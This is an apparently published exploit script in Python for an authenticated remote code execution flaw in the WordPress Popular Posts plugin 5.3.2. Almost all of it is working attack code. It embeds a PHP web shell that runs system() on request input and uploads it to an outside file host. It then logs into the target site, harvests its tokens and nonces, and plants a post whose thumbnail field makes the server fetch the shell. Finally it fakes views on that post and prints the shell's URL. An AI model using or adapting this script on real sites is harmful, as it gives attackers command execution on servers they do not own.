WordPress Popular Posts plugin version 5.3.2 suffers from a remote shell upload vulnerability.
ff63288153a9c377f078916bf250b9b6d773c32bd4d87e67f9a087fc58cb7ea2
# Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15/07/2021
# Exploit Author: Simone Cristofaro
# Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
# Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
# Version: 5.3.2 or below
# Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
# Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
# Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is
# enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.
# This script will login with the provided credentials, create a new post and add a custom field with the link to a
# web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to
# provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is
# set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)
'''
Banner:
'''
banner = """
* Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)
* @Heisenberg
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
import json
import re
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')
my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip")
my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port")
my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path")
my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")
my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")
args = my_parser.parse_args()
target_ip = args.target_ip
target_port = args.target_port
wp_path = args.wp_path
username = args.username
password = args.password
'''
# Hard coded parameters (if you don't like command line execution)
target_ip = "localhost"
target_port = "80"
wp_path = "/wordpress/"
username = "heisenberg"
password = "heisenberg"
'''
shell_name = 'exploit.gif.php'
payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>'
print('')
print('[*] Starting Exploit:')
'''
Upload file
'''
file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)})
resp = json.loads(file_json.text)
if resp['status']:
urlshort = resp['data']['file']['url']['full']
else:
print(f'[-] Error:'+ resp['error']['message'])
exit()
file_uploaded_site = requests.get(urlshort).text
PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name
print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Monies Browser 1.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print(f'[+] Authentication successfull as user [{username}] !')
else:
print('[-] Authentication failed ! Check username and password')
exit()
'''
Verify that the requirements are installed
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'
settings_page = session.get(settings_page_url).text
search_string = ' gd'
if settings_page.find(search_string) == -1 :
print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')
exit()
'''
Get the wpp-admin-token
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'
settings_page = session.get(settings_page_url).text
search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'
search_string_end = '" />'
settings_page = settings_page[settings_page.find(search_string):]
wpp_admin_token = settings_page[72: settings_page.find(search_string_end)]
if wpp_admin_token:
print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].')
else:
print('[-] Error while gathering wpp-admin-token !')
exit()
'''
Apply changes to the Popular Posts plugin
'''
body = {
'upload_thumb_src': '',
'thumb_source': 'custom_field',
'thumb_lazy_load': 1,
'thumb_field': 'wpp_thumbnail',
'thumb_field_resize': 1,
'section': 'thumb',
'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):
print(f'[+] Settings applied successfully to the Popular Posts plugin. ')
else:
print('[-] Error while applying settings o the Popular Posts plugin!')
exit()
'''
Empty image cache
'''
body = {
'action': 'wpp_clear_thumbnail',
'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
print(f'[+] Images cache cleared. ')
'''
Get the new post ID and Nonce
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php'
new_post_page = session.get(new_post_url).text
search_string = 'name="_ajax_nonce-add-meta" value="'
search_string_end = '" />'
new_post_page = new_post_page[new_post_page.find(search_string)+35:]
ajax_nonce = new_post_page[:new_post_page.find(search_string_end)]
search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'
search_string_end = '" );'
new_post_page = new_post_page[new_post_page.find(search_string)+66:]
wp_nonce = new_post_page[:new_post_page.find(search_string_end)]
search_string = '},"post":{"id":'
search_string_end = ','
new_post_page = new_post_page[new_post_page.find(search_string)+15:]
post_ID = new_post_page[:new_post_page.find(search_string_end)]
if post_ID and wp_nonce and ajax_nonce:
print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].')
else:
if not post_ID: print('[-] Error while gathering post_ID !')
elif not wp_nonce: print('[-] Error while gathering Wordpress Nonce !')
elif not ajax_nonce : print('[-] Error while gathering Wordpress AJAX Nonce !')
exit()
'''
Publish a new post
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user'
data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"}
header['X-WP-Nonce'] = wp_nonce
header['Content-Type'] = 'application/json'
header['X-HTTP-Method-Override'] = 'PUT'
new_post_page = session.post(new_post_url, headers=header, json=data).text
if new_post_page.find('"status":"publish"'):
print(f'[+] New post named [I\'m the one who knocks] published correctly!')
else:
print('[-] Error while publishing the new post !')
exit()
'''
Add the Custom Filed
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'
header.pop('X-WP-Nonce')
header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
header.pop('X-HTTP-Method-Override')
header['Accept']='*/*'
header['X-Requested-With'] = 'XMLHttpRequest'
body = {
'_ajax_nonce': 0,
'action': 'add-meta',
'metakeyselect': 'wpp_thumbnail',
'metakeyinput': "",
'metavalue' : PHP_URL,
'_ajax_nonce-add-meta': ajax_nonce,
'post_id' : post_ID
}
new_post_page = session.post(new_post_url, headers=header, data=body).text
if new_post_page.find("<tr id='meta-") > 0:
print(f'[+] Added a new Custom Field with the uploaded web shell.')
else:
print('[-] Error while adding the custom field !')
print(new_post_page)
exit()
'''
Give it some views to pop it up in the recent posts
'''
print(f'[+] Giving the new post some views (10) [ ', end="")
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID
redirect_url = session.get(new_post_url).url
new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts'
data = {
'_wpnonce': wp_nonce,
'wpp_id': post_ID,
'sampling': 0,
'sampling_rate': 100
}
for progress in range(10):
session.get(redirect_url)
res = session.post(new_post_plugin_url, headers=header, data=data)
print ('=', end='')
print(' ] '+json.loads(res.text)['results'])
print('[+] Exploit done !')
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name)
print('')